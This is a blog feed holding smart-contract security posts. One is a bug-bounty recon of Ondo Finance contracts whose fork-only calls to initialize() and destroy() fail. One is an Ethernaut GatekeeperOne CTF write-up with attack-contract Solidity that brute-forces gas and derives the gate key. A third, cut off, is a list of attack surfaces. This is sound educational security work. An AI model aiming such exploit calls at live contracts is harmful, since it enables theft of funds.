    <content type="html"><![CDATA[<p>After gaining some practice hacking smart contract on ethernaut, it’s time to try hacking on a real bug bounty program. In this post I’ll walk through my process.</p><h3 id="1-Identify-a-bounty-program"><a href="#1-Identify-a-bounty-program" class="headerlink" title="1 - Identify a bounty program"></a>1 - Identify a bounty program</h3><p>The first thing that must be done is picking a bug bounty program. Head over to Immunify and pick a random program that you’d like to hunt.</p><p>Scroll down to ‘Assets in Scope’ and you’ll find a number of etherscan addresses.</p><p>In this post I’ll be testing the <code>ondofinance</code> bounty program</p><h3 id="2-Prepare-the-development-environment"><a href="#2-Prepare-the-development-environment" class="headerlink" title="2 - Prepare the development environment"></a>2 - Prepare the development environment</h3><p>As discussed in other blog posts, we want to do our testing either locally or via mainnet fork. Testing locally works for simple projects but sometimes there’s problems compiling and configuring everything if a project uses, say, hardhat, but we want to use brownie.</p><p>We’ll create a new brownie project manually by copying our Ethernaut project files to a new directory.</p><ul><li>Ethernaut project is available on my GitHub</li></ul><h3 id="3-Audit"><a href="#3-Audit" class="headerlink" title="3 - Audit"></a>3 - Audit</h3><p>At this point I want to begin the discovery and recon phase where we try to identify interesting, or vulnerable functionality of the smart contracts. The scope of the bounty includes several etherscan addresses - for our purposes we’ll choose the first one and start reading the source code on etherscan. </p><p>In this guide we won’t go into hacking smart contracts via bytecode (symbolic analysis), though it can be done. When etherscan publishes the solidity source code, this means the ABI is available for us to use, which contains all of the read and write functions/variables that we care about. For now we only want to audit smart contracts that have the source (ABI) published.</p><h2 id="Tools"><a href="#Tools" class="headerlink" title="Tools"></a>Tools</h2><h3 id="Slither"><a href="#Slither" class="headerlink" title="Slither"></a>Slither</h3><p>Top of the list is going to be <code>slither</code> which will scan for common vulnerabilities. It interprets solidity code and converts it into an intermediate language, which is then used to perform vulnerability checks. There will be false positives, there will be results that we don’t care about. Being an effective analyst is all about evaluating the results.</p><p><code>slither 0x2BB8de958134AFd7543d4063CaFAD0b7c6de08BC</code></p><p>As simple as that, slither will scan the smart contract files that are associated with the address using etherscan. </p><h3 id="Phalcon"><a href="#Phalcon" class="headerlink" title="Phalcon"></a>Phalcon</h3><ul><li><a href="https://explorer.phalcon.xyz/tx/eth/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6">https://explorer.phalcon.xyz/tx/eth/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6</a></li><li>Trace + Source + Debug + Params etc</li><li>Can Simulate transactions</li></ul><h3 id="Sam’s-Transaction-Viewer"><a href="#Sam’s-Transaction-Viewer" class="headerlink" title="Sam’s Transaction Viewer"></a>Sam’s Transaction Viewer</h3><ul><li><a href="https://openchain.xyz/trace/ethereum/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6">https://openchain.xyz/trace/ethereum/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6</a></li><li>Gives the function inputs raw and decoded</li></ul><h3 id="Tenderly"><a href="#Tenderly" class="headerlink" title="Tenderly"></a>Tenderly</h3><ul><li><a href="https://dashboard.tenderly.co/tx/mainnet/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6">https://dashboard.tenderly.co/tx/mainnet/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6</a></li><li>Similar to both but worse debugger</li><li>However, the advantage is that you can view the code and the conversion process of Input data while Debugging</li><li>Debug -&gt; select call -&gt; re-simulate</li></ul><h3 id="EVM-Bytecode-Decompiler"><a href="#EVM-Bytecode-Decompiler" class="headerlink" title="EVM Bytecode Decompiler"></a>EVM Bytecode Decompiler</h3><p><a href="https://library.dedaub.com/decompile">https://library.dedaub.com/decompile</a></p><h3 id="Asset-Flow"><a href="#Asset-Flow" class="headerlink" title="Asset Flow"></a>Asset Flow</h3><p><a href="https://metasleuth.io/result/eth/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7">https://metasleuth.io/result/eth/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7</a></p><ul><li>Like Phantom but can be better flow chart</li></ul><h3 id="VSCode"><a href="#VSCode" class="headerlink" title="VSCode"></a>VSCode</h3><h4 id="Solidity-Metrics"><a href="#Solidity-Metrics" class="headerlink" title="Solidity Metrics"></a>Solidity Metrics</h4><p><a href="https://marketplace.visualstudio.com/items?itemName=tintinweb.solidity-metrics">https://marketplace.visualstudio.com/items?itemName=tintinweb.solidity-metrics</a></p><h4 id="Solidity-Visual-Developer"><a href="#Solidity-Visual-Developer" class="headerlink" title="Solidity Visual Developer"></a>Solidity Visual Developer</h4><p><a href="https://marketplace.visualstudio.com/items?itemName=tintinweb.solidity-visual-auditor">https://marketplace.visualstudio.com/items?itemName=tintinweb.solidity-visual-auditor</a></p><h4 id="Inline-Bookmarks"><a href="#Inline-Bookmarks" class="headerlink" title="Inline Bookmarks"></a>Inline Bookmarks</h4><p><a href="https://marketplace.visualstudio.com/items?itemName=tintinweb.vscode-inline-bookmarks">https://marketplace.visualstudio.com/items?itemName=tintinweb.vscode-inline-bookmarks</a></p><h3 id="Static-Analysis"><a href="#Static-Analysis" class="headerlink" title="Static Analysis"></a>Static Analysis</h3><ul><li>Mythx - <a href="https://mythx.io/">https://mythx.io/</a></li><li>Slither - <a href="https://github.com/crytic/slither">https://github.com/crytic/slither</a></li><li>Mythril - <a href="https://github.com/ConsenSys/mythril">https://github.com/ConsenSys/mythril</a></li><li>4naly3er - <a href="https://github.com/ConsenSys/mythril">https://github.com/ConsenSys/mythril</a></li></ul><h3 id="Fuzzing"><a href="#Fuzzing" class="headerlink" title="Fuzzing"></a>Fuzzing</h3><ul><li>Echidna - <a href="https://github.com/crytic/echidna">https://github.com/crytic/echidna</a></li><li>Foundry Fuzz - <a href="https://book.getfoundry.sh/forge/fuzz-testing">https://book.getfoundry.sh/forge/fuzz-testing</a></li></ul><h3 id="Findings"><a href="#Findings" class="headerlink" title="Findings"></a>Findings</h3><p>Let’s look at a snippet of the <code>slither</code> output</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">TrancheToken (contracts/TrancheToken.sol#16-120) is an upgradeable contract that does not protect its initiliaze functions: TrancheToken.initialize(uint256,string,string,address) (contracts/TrancheToken.sol#33-43). Anyone can delete the contract with: TrancheToken.destroy(address) (contracts/TrancheToken.sol#94-101)Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unprotected-upgradeable-contract</span><br></pre></td></tr></table></figure><p>Notice that the <code>slither</code> output will be color coded, I assume based on the level of severity for each respective finding.</p><p>Looking at this snippet we can see that the tool identified a <code>destroy()</code> function that anyone can call. Interesting - lets investigate whether that’s true.</p><h3 id="Solidity-Analysis"><a href="#Solidity-Analysis" class="headerlink" title="Solidity Analysis"></a>Solidity Analysis</h3><p>Going back to the etherscan page, we can see that there’s a file named <code>TrancheToken.sol</code> which is what <code>slither</code> was complaining about.<br>There were multiple files within the etherscan link though, and only one of them is the “main” file. In this case the Contract Name, shown at the top of the etherscan page, is <code>AllPairVault</code>.</p><p>Below is a snippet of that file:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">// SPDX-License-Identifier: AGPL-3.0</span><br><span class="line">pragma solidity 0.8.3;</span><br><span class="line"></span><br><span class="line">import &quot;@openzeppelin/contracts/token/ERC20/IERC20.sol&quot;;</span><br><span class="line">//&lt;other imports&gt;</span><br><span class="line"></span><br><span class="line">/**</span><br><span class="line"> * @title A container for all Vaults</span><br><span class="line"> * &lt;Other information etc etc&gt;*</span><br><span class="line"> */</span><br><span class="line">contract AllPairVault is OndoRegistryClient, IPairVault &#123;</span><br><span class="line">  using OLib for OLib.Investor;</span><br><span class="line">  using SafeERC20 for IERC20;</span><br><span class="line">  using Address for address;</span><br><span class="line">  using EnumerableSet for EnumerableSet.UintSet;</span><br><span class="line"></span><br><span class="line">// &lt;Other stuff within the file...&gt;</span><br><span class="line"></span><br><span class="line">address public immutable trancheTokenImpl;</span><br><span class="line"></span><br><span class="line">// &lt;Other stuff within the file...&gt;</span><br></pre></td></tr></table></figure><p>So here we see that the TancheToken that we are looking for is declared as an immutable address. This is how we can access the TancheToken instance. Instead of manually looking for the <code>public</code> or <code>external</code> keyword within the code, you could have also selected the “Read” and “Write” buttons on etherscan to see what’s available for use.</p><h2 id="Exploitation"><a href="#Exploitation" class="headerlink" title="Exploitation"></a>Exploitation</h2><p>Within our brownie project I created the following function:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">ondofinance</span>():</span></span><br><span class="line">    </span><br><span class="line">    account = get_account()</span><br><span class="line"></span><br><span class="line">    ondoInstanceAddress = config[<span class="string">&quot;networks&quot;</span>][network.show_active()][<span class="string">f&quot;ondo_first_address&quot;</span>]</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;./AllPairVault.json&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        info_json = json.load(f)</span><br><span class="line"></span><br><span class="line">    abi = info_json[<span class="string">&quot;result&quot;</span>]</span><br><span class="line"></span><br><span class="line">    w3 = Web3(Web3.HTTPProvider(<span class="string">f&quot;https://mainnet.infura.io/v3/<span class="subst">&#123;os.getenv(<span class="string">&#x27;WEB3_INFURA_PROJECT_ID&#x27;</span>)&#125;</span>&quot;</span>))</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;Connected? <span class="subst">&#123;w3.isConnected()&#125;</span>&quot;</span>)</span><br><span class="line">    ondo = w3.eth.contract(address=ondoInstanceAddress, abi=abi)</span><br><span class="line"></span><br><span class="line">    trancheToken=ondo.functions.trancheTokenImpl().call()</span><br><span class="line">    </span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&#x27;trancheToken :&#x27;</span>, trancheToken)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;./TrancheToken.json&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        abi2 = json.load(f)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    tranche = w3.eth.contract(address=trancheToken, abi=abi2)</span><br><span class="line">    tranche.functions.initialize(<span class="number">0</span>, <span class="string">&quot;test&quot;</span>, <span class="string">&quot;test&quot;</span>, ondoInstanceAddress).call(&#123;<span class="string">&#x27;from&#x27;</span>:account.address&#125;)</span><br></pre></td></tr></table></figure><p>This is different than how solidity classes are instantiated with brownie since we’re not using the contract interfaces within the project. Web3.py can be used to interact with existing contracts using only the address and ABI. There’s a lot to dissect here so I will explain each piece. </p><ol><li>get_account fetches the account</li><li>within our config we’ve identified the address of the etherscan address specified in the bounty program. this gets defined as ondoInstanceAddress.</li></ol><p>Next I headed over to etherscan and scrolled down the page until I reached a textbox containing the ABI. After saving that ABI to disk, I named the file <code>AllPairVault.json</code> </p><ol start="3"><li>the ABI json file gets parsed.</li><li>the web3 python library initializes the provider, which uses my environment variable containing my infura project ID.</li><li>provider is confirmed as connected</li><li>now that the ABI has been parsed and we have the smart contract address, we create the contract object</li></ol><p>Now that we know where the TrancheToken instance is defined, lets grab it.</p><ol start="7"><li>the TrancheToken instance address is saved as trancheToken</li></ol><p>At this point we need to initialize the TrancheToken class finally. Again we’ll grab the ABI from etherscan, save the JSON to disk, and reference that.</p><ol start="8"><li>the TrancheToken ABI is saved as <code>abi2</code></li><li>the address that we discovered, and the abi, are used to create a contract object</li></ol><p>Now we could try to call the <code>initialize</code> function that <code>slither</code> mentioned to us</p><ol start="10"><li><code>intialize</code> is called using random parameters. <ul><li>Remember that address checksums get checked for validity, so you must pass a real address otherwise solidity will interpret it as a string. Here I’m using the ondoInstanceAddress but any address could be used.</li></ul></li></ol><p>Finally we can test it out. We want to do our testing using a fork of mainnet, so I call the script like this:<br><code>brownie run scripts/deploy.py  --network mainnet-fork-dev</code> which will use my fork. </p><ul><li>My github has context on how to set this up in your local environment.</li></ul><p>So can we call <code>initialize</code> ?</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ContractLogicError: execution reverted: Initializable: contract is already initialized</span><br></pre></td></tr></table></figure><p>Nope! We can’t. Looking back at the original finding, <code>slither</code> said:</p><p><code>Anyone can delete the contract with: TrancheToken.destroy(address)</code></p><p>Maybe we can call it! Let’s try by replacing the last line:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">tranche.functions.destroy(account.address).call(&#123;&#x27;from&#x27;:account.address&#125;)</span><br></pre></td></tr></table></figure><p>Kicking off the script again, we get the following output:<br><code>ContractLogicError: execution reverted: Invalid access: Only Registry can call</code></p><p>It didn’t work, but that’s ok - there’s lots of other tests that we’ll create when auditing smart contracts and this is just the first of many.<br>What’s important is that we understand the methodology of basic solidity testing.</p><h2 id="Videos"><a href="#Videos" class="headerlink" title="Videos"></a>Videos</h2><p>Secureum and ethernaut content<br><a href="https://youtu.be/b6zEWJwMcGc?t=300">https://youtu.be/b6zEWJwMcGc?t=300</a></p><p>Andy Li - code4rena and real hunting<br><a href="https://www.youtube.com/watch?v=nVucSDlcDFE">https://www.youtube.com/watch?v=nVucSDlcDFE</a></p><h2 id="Audit-Reports"><a href="#Audit-Reports" class="headerlink" title="Audit Reports"></a>Audit Reports</h2><h3 id="yAcademy"><a href="#yAcademy" class="headerlink" title="yAcademy"></a>yAcademy</h3><p><a href="https://reports.yacademy.dev/">https://reports.yacademy.dev</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;After gaining some practice hacking smart contract on ethernaut, it’s time to try hacking on a real bug bounty program. In this post I’ll</summary>
      
    
    
    
    
    <category term="Ethernaut" scheme="https://blindcyber.gitlab.io/tags/Ethernaut/"/>
    
    <category term="Ethereum" scheme="https://blindcyber.gitlab.io/tags/Ethereum/"/>
    
    <category term="Smart Contracts" scheme="https://blindcyber.gitlab.io/tags/Smart-Contracts/"/>
    
  </entry>
  
  <entry>
    <title>Ethernaut Challenge 13 - GateKeeper One</title>
    <link href="https://blindcyber.gitlab.io/2022/03/24/Ethernaut-GatekeeperOne/"/>
    <id>https://blindcyber.gitlab.io/2022/03/24/Ethernaut-GatekeeperOne/</id>
    <published>2022-03-24T20:39:07.000Z</published>
    <updated>2026-07-08T17:01:07.094Z</updated>
    
    <content type="html"><![CDATA[<p>This is my writeup of Ethernaut challenge #13. Ethernaut is a smart contract hacking CTF meant to test your ability at exploiting Ethereum smart contracts. I completed all of the challenges but this is the only one I wrote up. For a complete set of solutions I created using the now deprecated Python Brownie framework, see them at the following link:</p><ul><li><a href="https://github.com/x3419/Ethernaut_Solutions">https://github.com/x3419/Ethernaut_Solutions</a></li></ul><h3 id="Description-amp-Original-Code"><a href="#Description-amp-Original-Code" class="headerlink" title="Description &amp; Original Code"></a>Description &amp; Original Code</h3><p>GatekeeperOne is a smart contract challenge where requirements must be satisfied through multiple checks. If each requirement (or gate) can be bypassed, the challenge is completed. </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">// SPDX-License-Identifier: MIT</span><br><span class="line">pragma solidity ^0.6.0;</span><br><span class="line"></span><br><span class="line">import &#x27;@openzeppelin/contracts/math/SafeMath.sol&#x27;;</span><br><span class="line"></span><br><span class="line">contract GatekeeperOne &#123;</span><br><span class="line"></span><br><span class="line">  using SafeMath for uint256;</span><br><span class="line">  address public entrant;</span><br><span class="line"></span><br><span class="line">  modifier gateOne() &#123;</span><br><span class="line">    require(msg.sender != tx.origin);</span><br><span class="line">    _;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  modifier gateTwo() &#123;</span><br><span class="line">    require(gasleft().mod(8191) == 0);</span><br><span class="line">    _;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  modifier gateThree(bytes8 _gateKey) &#123;</span><br><span class="line">      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), &quot;GatekeeperOne: invalid gateThree part one&quot;);</span><br><span class="line">      require(uint32(uint64(_gateKey)) != uint64(_gateKey), &quot;GatekeeperOne: invalid gateThree part two&quot;);</span><br><span class="line">      require(uint32(uint64(_gateKey)) == uint16(tx.origin), &quot;GatekeeperOne: invalid gateThree part three&quot;);</span><br><span class="line">    _;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) &#123;</span><br><span class="line">    entrant = tx.origin;</span><br><span class="line">    return true;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="Pass-Gate-1"><a href="#Pass-Gate-1" class="headerlink" title="Pass Gate 1"></a>Pass Gate 1</h3><p>We learned about <code>tx.origin</code> in Ethernaut challenge #4 (Telephone). This requirement can be achieved by using an attack contract, which will be used as the <code>msg.sender</code>, while <code>tx.origin</code> will be our original wallet.</p><h3 id="Pass-Gate-2"><a href="#Pass-Gate-2" class="headerlink" title="Pass Gate 2"></a>Pass Gate 2</h3><p>This gate checks that the amount of gas left is divisible by 8191.</p><p>I don’t like javascript so I’ve tried to stick with brownie/python as my development framework which controls solidity. However, remix is really great for solidity dev and debugging.</p><ul><li>The remix debugger displays the amount of <code>gas</code> and <code>remaining gas</code>.</li><li>Different Solidity compiler versions will calculate gas differently. And whether or not optimization is enabled will also affect gas usage</li></ul><p><em>Go read the Pass Gate 3 section, then keep reading</em></p><p>Within the attack contract, we add this function:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">function enter() public returns(bool) &#123;</span><br><span class="line">    bytes memory payload = abi.encodeWithSignature(&quot;enter(bytes8)&quot;, key);</span><br><span class="line">    (bool success,) = victim.call.gas(9999)(payload);</span><br><span class="line">    require(success, &quot;failed somewhere...&quot;);</span><br><span class="line">    return success;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>We’re using 9999 as a random guess that we’ll use to calculate offsets.</p><p>Deploy GateKeeperOne and AttackGateKeeperOne. Call enter() and debug.</p><p>Here we’re debugging on line 17 and we can see our remaining gas within the “Step details” menu is <strong>9756</strong>.</p><img src="/images/remix.png" class="[test]" title="Remix Debugger" alt="Remix Debugger"><p>We need our remaining gas to be divisible by 8191…</p><p>9999 - 9756 = 243 This is the amount of gas used to get to the <code>gateTwo</code> check<br>8191 + 243 = 8434 This is the initial gas required to have <code>remaining gas</code> = 8191 at the gateTwo check</p><p>We came to 8434 within our debugger but this might not always be the case. This is something specific to the compiler, flags, and other EVM settings. The following function (within our attacker contract) allows us to “spray” function call attempts using <code>.call</code> which won’t cause a revert. Here we’ll scan within 120 units of our gas estimate.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">function enter() public returns(bool) &#123;</span><br><span class="line">      </span><br><span class="line">      bytes memory payload = abi.encodeWithSignature(&quot;enter(bytes8)&quot;, key);</span><br><span class="line"></span><br><span class="line">      uint approximateGasTarget = 243;</span><br><span class="line">      uint padding = 60;</span><br><span class="line"></span><br><span class="line">      // now we will use .call to specify different gasses. call will not generate reverts</span><br><span class="line">      // gas offset usually comes in around 243, give a buffer of 60 on each side</span><br><span class="line">      for (uint256 i = 0; i &lt; padding*2; i++) &#123;</span><br><span class="line">        (bool result, bytes memory data) = victim.call.gas(</span><br><span class="line">            i + (approximateGasTarget-padding) + 8191 * 3</span><br><span class="line">          )(</span><br><span class="line">            payload</span><br><span class="line">          );</span><br><span class="line">        if(result)</span><br><span class="line">          &#123;</span><br><span class="line">          break;</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><h3 id="Pass-Gate-3"><a href="#Pass-Gate-3" class="headerlink" title="Pass Gate 3"></a>Pass Gate 3</h3><p>Original:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), &quot;GatekeeperOne: invalid gateThree part one&quot;);</span><br><span class="line"></span><br><span class="line">require(uint32(uint64(_gateKey)) != uint64(_gateKey), &quot;GatekeeperOne: invalid gateThree part two&quot;);</span><br><span class="line"></span><br><span class="line">require(uint32(uint64(_gateKey)) == uint16(tx.origin), &quot;GatekeeperOne: invalid gateThree part three&quot;);</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>Just like math equations we can cancel out the casts that exist on both sides to simplify:</p><ul><li>Note that <code>uint32( uint64(key) ) == uint32(key)</code> because it basically undoes the operation</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">require(uint32(_gateKey) == uint16(_gateKey));</span><br><span class="line"></span><br><span class="line">require(uint32(_gateKey) != uint64(_gateKey));</span><br><span class="line"></span><br><span class="line">require(uint32(_gateKey) == uint16(tx.origin));</span><br></pre></td></tr></table></figure><h5 id="Check-1"><a href="#Check-1" class="headerlink" title="Check 1"></a>Check 1</h5><p>For the checks, let’s visualize the two variables by starting off with all the bits being available for bitwise operations (set to 1).</p><p>   uint32           uint16<br>0x11111111 == 0x1111</p><p>We want these to be equal. That can be achieved by turning the 4th left-most bytes of the uint32 to 0.</p><p>Mask: <em>0x0000FFFF</em></p><h5 id="Check-2"><a href="#Check-2" class="headerlink" title="Check 2"></a>Check 2</h5><p>Since we know what mask we need for check one, we’ll start off with that (in binary form).<br>Var A stays the same as the mask because those are the only bytes available.<br>Var B gets prepended with 8 bytes (1’s) because there are 8 extra bytes that we want available for bitwise operations.</p><p>uint32 (A)                 uint64 (B)<br>0x00001111 != 0x1111111100001111</p><p>We want these vars to NOT be equal. If the 8 left-most bytes (1’s) of var B don’t get accounted for, the results will always be equal. Therefore we must account for those bytes by setting them to 1.</p><p>Mask: <em>0xFFFFFFFF0000FFFF</em></p><h5 id="Check-3"><a href="#Check-3" class="headerlink" title="Check 3"></a>Check 3</h5><p>We need the key’s first 16 bytes to contain the <code>tx.origin</code><br>However in reality the key is only 8 bytes so we can AND our mask with the 8-byte version of <code>tx.origin</code> to get the final key.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">bytes8 key = bytes8(tx.origin) &amp; 0xFFFFFFFF0000FFFF;</span><br></pre></td></tr></table></figure><p>This didn’t compile on solidity 0.6.0. After googling, I found that this is equivalient:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">key = bytes8(uint64(uint160(tx.origin))) &amp; 0xFFFFFFFF0000FFFF;</span><br></pre></td></tr></table></figure><h3 id="Conclusion"><a href="#Conclusion" class="headerlink" title="Conclusion"></a>Conclusion</h3><p>This was a great challenge for learning how to approach satisfying multiple requirements within solidity. Ultimately critical vulnerabilities are often a chain of condition bypasses so this gives us some helpful context. I completed this challenge by coding the runtime execution in python which is available in my GitHub.</p><hr><p>References:<br><a href="https://medium.com/coinmonks/ethernaut-lvl-13-gatekeeper-1-walkthrough-how-to-calculate-smart-contract-gas-consumption-and-eb4b042d3009">https://medium.com/coinmonks/ethernaut-lvl-13-gatekeeper-1-walkthrough-how-to-calculate-smart-contract-gas-consumption-and-eb4b042d3009</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;This is my writeup of Ethernaut challenge #13. Ethernaut is a smart contract hacking CTF meant to test your ability at exploiting Ethereu</summary>
      
    
    
    
    
    <category term="Ethernaut" scheme="https://blindcyber.gitlab.io/tags/Ethernaut/"/>
    
    <category term="Ethereum" scheme="https://blindcyber.gitlab.io/tags/Ethereum/"/>
    
    <category term="Smart Contracts" scheme="https://blindcyber.gitlab.io/tags/Smart-Contracts/"/>
    
  </entry>
  
  <entry>
    <title>Smart Contract Security</title>
    <link href="https://blindcyber.gitlab.io/2022/03/24/Smart-Contract-Security/"/>
    <id>https://blindcyber.gitlab.io/2022/03/24/Smart-Contract-Security/</id>
    <published>2022-03-24T20:39:07.000Z</published>
    <updated>2026-07-08T17:01:07.095Z</updated>
    
    <content type="html"><![CDATA[<h3 id="Pentesting-Strategy"><a href="#Pentesting-Strategy" class="headerlink" title="Pentesting Strategy"></a>Pentesting Strategy</h3><p>When hunting for vulnerabilities in the real world (on mainnet), we don’t want to spend real money when messing around with smart contract calls. Forking is a helpful technique that allows us to pretend we’re on testing mainnet like a sandbox.</p><h5 id="Networks"><a href="#Networks" class="headerlink" title="Networks"></a>Networks</h5><p>Ethereum contains different networks that you can connect to. There are 4 networks that we care about:</p><ol><li>Mainnet<ul><li>The real ethereum network that is online and is used for financial exchange and production use. </li></ul></li><li>Testnet<ul><li>A decentralized blockchain that is online and is used for testing. </li><li>Testnet examples:<ul><li>Rinkeby</li><li>Ropstein</li></ul></li></ul></li><li>Fork<ul><li>A copy of the mainnet/testnet being proxied into our local testing environment. We can unlock and control any wallets as if we had the private key.</li><li>This is useful if we want to interact with a smart contract in its current state, instead of recreating that state manually via local deployment.</li></ul></li><li>Local<ul><li>Our local debugging environment. There’s a useful tool named <code>ganache</code> that can provide us a local blockchain.</li><li>To test locally:<ul><li>Copy the solidity code to the local project</li><li>Deploy the smart contract to ganache</li><li>Recreate the state of the VM (sometimes)<ul><li>Ex) A CTF challenge, the EVM is initialized and your account is given 20 tokens that you must use to hack the smart contract somehow. Instead of forking we can deploy locally, then deposit 20 tokens into our account manually.</li></ul></li></ul></li></ul></li></ol><h5 id="Smart-Contract-Attack-Surfaces-amp-Tips"><a href="#Smart-Contract-Attack-Surfaces-amp-Tips" class="headerlink" title="Smart Contract Attack Surfaces &amp; Tips"></a>Smart Contract Attack Surfaces &amp; Tips</h5><ol><li>Data within smart contracts (global vars) are not private. The EVM bytecode is published on the blockchain and there are simple ways to obtain <code>private</code> variables.<ul><li>There’s a way to read any variable within the contract based on its slot index</li></ul></li><li>When money is sent to a smart contact without specifying a function name, this triggers the fallback function which is represented as <code>fallback()</code> or <code>receive()</code>. <ul><li>Vulnerable contracts may send money to your contract address in this way. <ul><li>If this occurs and conditions are not checked before, this can be exploited.<ul><li>Ex) A vulnerable contract with a withdraw() function may send the user’s funds BEFORE decrementing their balance</li><li>This is what’s known as a Re-entrancy attack (recursion)</li></ul></li></ul></li><li>When transfering funds, you must remember:<ul><li>The recipient isn’t always an externally owned account (a wallet). It may be a smart contract, which will run code when the transfer is confirmed.</li><li>If an attacker contract’s fallback function is triggered, it may break things by reverting</li></ul></li></ul></li><li>Modifiers are really important. They determine what functions you can leverage.<ul><li>Ex) <code>function isLastFloor(uint) external returns(bool);</code><ul><li>This interface can be used for both reading and modifying data within the contract.</li><li>The <code>view</code> function modifier on interfaces can prevent state changes from occurring </li></ul></li></ul></li><li>Composition can be used for working within the same block as the victim contract<ul><li>Deploy an attack contact and pass the victim contract address as the constructor parameter so that calls can be made from the attack contract to the victim contract.</li><li>If “randomness” is computed based on block-related attributes, these results can be recreated within the attack contract. The only secure way to provide pseudo-randomness is using oracles.</li></ul></li><li>There is a difference between 